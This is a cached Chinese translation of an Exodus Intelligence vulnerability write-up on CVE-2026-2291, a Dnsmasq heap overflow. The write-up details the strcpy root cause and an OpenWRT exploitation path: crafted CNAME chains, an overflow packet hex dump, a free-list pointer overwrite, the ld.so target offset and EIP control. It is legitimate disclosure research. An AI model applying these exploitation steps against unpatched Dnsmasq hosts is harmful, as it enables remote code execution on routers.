@Dinosn: Dnsmasq DNS远程堆缓冲区溢出
摘要
Dnsmasq中的一个堆缓冲区溢出漏洞(CVE-2026-2291)允许通过恶意上游DNS服务器进行远程代码执行。该问题在2.73版本中引入,并在2.92rel2和2.93版本中修复。
查看缓存全文
缓存时间: 2026/07/21 12:42
Dnsmasq DNS 远程堆缓冲区溢出 https://t.co/0Xhrn6AUoa — # Dnsmasq DNS 远程堆缓冲区溢出 - Exodus Intelligence 来源:https://blog.exodusintel.com/2026/07/20/dnsmasq-dns-remote-heap-buffer-overflow/ 作者:David Barksdale 在这篇博文中,我们讨论了在 Dnsmasq 中发现的一个堆缓冲区溢出漏洞。该漏洞已在 2026 年 5 月 11 日的版本 2.92rel2 和 2.93 中修复,并分配了 CVE-2026-2291 (https://nvd.nist.gov/vuln/detail/cve-2026-2291)。我们涵盖了该漏洞的技术分析,以及如何利用它在配置了恶意上游 DNS 服务器的 OpenWRT 目标上实现远程代码执行。我们的客户在我们独立发现并公开此研究之前,已经可以访问到它。 ## https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#The-Breaking-Change变更引入 该漏洞是在 2.73 版本中通过以下变更引入的: commit cbe379ad6b52a538a4416a7cd992817e5637ccf9 (tag: v2.73rc5) Author: Simon Kelley Date: Tue Apr 21 22:57:06 2015 +0100 Handle domain names with '.' or /000 within labels. Only in DNSSEC mode, where we might need to validate or store such names. In none-DNSSEC mode, simply don't cache these, as before. ## https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#The-Vulnerability漏洞 当 Dnsmasq 处理来自上游 DNS 服务器的回复时,它会将域名从 DNS 线格式转换为 C 字符串。在上述代码变更中,C 字符串的格式被修改,增加了对空字符 (0x00)、句点 (0x2E) 以及新的转义字符 (0x01) 的转义序列,这可能导致所需的存储长度翻倍。大多数用于存储这些字符串的固定长度缓冲区都已扩展,但缓存系统中使用的缓冲区除外。缓存系统使用一个名为 bigname 的缓冲区,长度仅为 1,025 字节。当 Dnsmasq 缓存来自上游 DNS 服务器回复中的应答部分资源记录时,如果这些记录的转义形式超过 1,025 字节,这些堆分配的缓冲区就可能发生溢出。 ### https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Unsafe-strcpy不安全的 strcpy() 该漏洞的根本原因是在缓存域名时使用了一个不安全的 strcpy()。根据域名字符串的大小,名称要么存储在 50 字节的缓冲区 (sname) 中,要么存储在 1,025 字节的缓冲区 (bigname) 中。但并未检查字符串长度是否超出 bigname 缓冲区的大小。下面列出的 really_insert() 函数调用了这个不安全的 strcpy()。 // src/cache.c static struct crec *really_insert(char *name, union all_addr *addr, unsigned short class, time_t now, unsigned long ttl, unsigned int flags) { struct crec *new, *target_crec = NULL; union bigname *big_name = NULL; int freed_all = (flags & F_REVERSE); struct crec *free_avail = NULL; unsigned int target_uid; [Truncated] /* Check if we need to and can allocate extra memory for a long name. If that fails, give up now, always succeed for DNSSEC records. */ [1] if (name && (strlen(name) > SMALLDNAME-1)) { if (big_free) { [2] big_name = big_free; big_free = big_free->next; } else if ((bignames_left == 0 && !(flags & (F_DS | F_DNSKEY))) || [3] !(big_name = (union bigname *)whine_malloc(sizeof(union bigname)))) { insert_error = 1; return NULL; } else if (bignames_left != 0) bignames_left--; } /* If we freed a cache entry for our name which was a CNAME target, use that. and preserve the uid, so that existing CNAMES are not broken. */ if (target_crec) { new = target_crec; new->uid = target_uid; } /* Got the rest: finally grab entry. */ cache_unlink(new); new->flags = flags; if (big_name) { [4] new->name.bname = big_name; new->flags |= F_BIGNAME; } if (name) [5] strcpy(cache_get_name(new), name); else *cache_get_name(new) = 0; 在 [1] 处,name 字符串的长度用于确定是否需要 bigname 缓冲区。如果长度大于 SMALLDNAME-1 (49),代码会通过从空闲列表中移除一个 [2] 或从堆中分配一个新的 [3] 来分配一个 bigname 缓冲区。在 [4] 处,分配的缓冲区 big_name 被存储在缓存记录中,并设置 F_BIGNAME 标志。在 [5] 处,cache_get_name() 函数返回缓存记录中的 bigname 缓冲区,然后 strcpy() 将 name 字符串复制到其中。由于 name 字符串可能大于 1,025 字节的缓冲区,因此这个 strcpy() 可能导致堆缓冲区溢出。 ## https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Exploitation利用 为了演示利用,我们选择运行 OpenWRT 24.10.4 通用 x86 版本的虚拟机作为目标。目标系统配置为使用我们的恶意服务器作为上游 DNS 服务器。为了利用该漏洞,客户端向目标发送一系列 DNS 请求:alloc.me、overflow.me 和 overwrite.me。 该利用利用堆溢出漏洞覆盖 big_free 空闲列表上另一个 bigname 缓冲区的 next 指针。然后,通过从空闲列表中分配被破坏的 bigname 缓冲区,并使用 strcpy() 向其写入数据,利用缓存系统的正常操作将攻击者控制的数据写入攻击者控制的地址。该利用利用此操作覆盖 musl ld.so 库中的一个函数指针。然后,利用触发函数调用,从而控制 EIP。以下小节将更详细地描述这些步骤。 ### https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Heap-and-Free-List-Preparation堆与空闲列表准备 利用需要在 big_free 列表上准备两个在内存中相邻的 bigname 缓冲区。它通过响应 alloc.me DNS 请求,返回一系列长度均超过 50 字节的 CNAME 记录链来实现这一点。该链足够长,可以消耗掉所有不相邻的空闲堆块,使得最后两个缓冲区彼此相邻。DNS 应答的头部中设置了 CD 位,这导致 Dnsmasq 不会缓存该应答。这将使得分配出的 bigname 缓冲区被插入 big_free 列表,供下一步分配使用。 ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4345 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;alloc.me. IN A ;; ANSWER SECTION: alloc.me. 60 IN CNAME AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA. 60 IN CNAME BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB. BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB. 60 IN CNAME CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC. CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC. 60 IN CNAME DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD. DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD. 60 IN CNAME invalid. ### https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Heap-Overflow堆溢出 接着,利用响应 overflow.me DNS 请求,返回另一个 CNAME 记录链。前几个记录用于从 big_free 列表中分配掉不需要的 bigname 缓冲区,随后是溢出载荷。该载荷会溢出其缓冲区,进入仍位于 big_free 列表上的下一个缓冲区。空闲列表上缓冲区的前四个字节是 next 指针。此处覆盖的值就是写-什么-在哪里(write-what-where)原语中的“在哪里”。注意:由于 bigname 缓冲区永远不会被 free(),因此 libc 堆损坏不会被检测到。 ;; Got bad packet: name too long 895 bytes ce d8 85 80 00 01 00 04 00 00 00 00 08 6f 76 65 .............ove 72 66 6c 6f 77 02 6d 65 00 00 01 00 01 c0 0c 00 rflow.me........ 05 00 01 00 00 00 3c 00 41 3f 58 58 58 58 58 58 ......<.A?XXXXXX 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 58 58 58 58 58 58 58 58 58 00 c0 29 00 05 00 01 XXXXXXXXX..).... 00 00 00 3c 00 41 3f 59 59 59 59 59 59 59 59 59 ...<.A?YYYYYYYYY 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYYYYY 59 59 59 59 59 59 00 c0 76 00 05 00 01 00 00 00 YYYYYY..v....... 3c 02 ac 3f 01 01 01 01 01 01 01 01 01 01 01 01 <..?............ [Truncated] 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................ 01 01 01 01 01 01 01 01 05 5a a8 f2 f8 b7 00 c0 .........Z...... c3 00 01 00 01 00 00 00 3c 00 04 01 02 03 04 ........<...... ### https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#Write-What-Where写-什么-在哪里 然后,利用响应 overwrite.me DNS 请求,返回一个包含两个 CNAME 记录链。第一个记录分配了被破坏的 bigname 缓冲区,导致攻击者控制的 next 指针被写入 big_free 列表头指针。第二个 CNAME 随后使用该指针作为其 bigname 指针,并调用 strcpy() 将其内容写入该地址。利用针对 ld.so 基址偏移量 0x812a8 处的 VDSO_CGT32_SYM 指针。 ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6593 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0 dig: Bad ACE string '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.' (domain label longer than 63 characters) ### https://notes.austin.exodusintel.com/ZXSRujhnRdC8s1_jdu5khA?view#EIP-ControlEIP 控制 Dnsmasq 接收的下一个数据包会触发被覆盖的函数指针被调用,从而使攻击者获得 EIP 控制权。如果将此能力与其他原语(如信息泄露)结合使用,就可以获得一个功能性的利用。 [ 8765.451591] dnsmasq[2760]: segfault at 61616161 ip 61616161 sp bfea354c error 4 likely on CPU 0 (core 0, socket 0) [ 8765.457884] Code: Unable to access opcode bytes at 0x61616137. ## 关于 Exodus Intelligence 我们世界一流的漏洞研究团队每年发现数百个独家零日漏洞,为我们的客户提供在对手发现之前就能掌握的专有知识。我们还进行 N-Day 研究,选择关键的 N-Day 漏洞并完成研究,以证明这些漏洞是否在野外真正可利用。我们的研究人员创建并使用内部自主 AI 工具,以辅助部分漏洞研究和利用开发工作流程。除了提高效率外,我们还能确保 AI 辅助的研究成果保持与传统研究相同的质量标准。 有关我们产品的更多信息以及我们如何协助您的漏洞研究工作,请访问 www.exodusintel.com (https://www.exodusintel.com/) 或联系 [email protected] (https://notes.austin.exodusintel.com/) 进行进一步讨论。
相似文章
dnsmasq 中存在六个严重安全漏洞的 CVE
在 dnsmasq 中发现了六个严重安全漏洞(CVE),影响了大多数非远古版本。Simon Kelley 已发布 2.92rel2 版本并提供了补丁,同时宣布即将发布 2.93 版本以解决这些长期存在的 bug。
新的 Nginx 漏洞利用
Nginx 重写模块中的一个关键堆缓冲区溢出漏洞(CVE-2026-42945)允许未经身份验证的远程代码执行,并且已经发布了概念验证漏洞利用代码。该漏洞影响 Nginx 0.6.27 到 1.30.0 版本以及多个 Nginx Plus 版本。
利用一个18年前的漏洞实现NGINX远程代码执行
研究人员利用自动化系统发现NGINX重写模块中一个自2008年以来存在的严重堆缓冲区溢出漏洞(CVE-2026-42945),可实现远程代码执行。多个CVE已获NGINX确认。
Codex发现一个隐藏的HTTP/2炸弹
Codex发现了一个名为“HTTP/2炸弹”的远程拒绝服务漏洞,该漏洞针对主流Web服务器(包括nginx、Apache、IIS、Envoy、Pingora)中的HPACK压缩,通过将压缩炸弹与流量控制保持相结合,快速耗尽服务器内存。
CVE-2026-45447:OpenSSL PKCS7_verify() 函数中的堆释放后使用漏洞
OpenSSL PKCS7_verify() 函数中发现了一个堆释放后使用漏洞,可能允许攻击者利用内存破坏。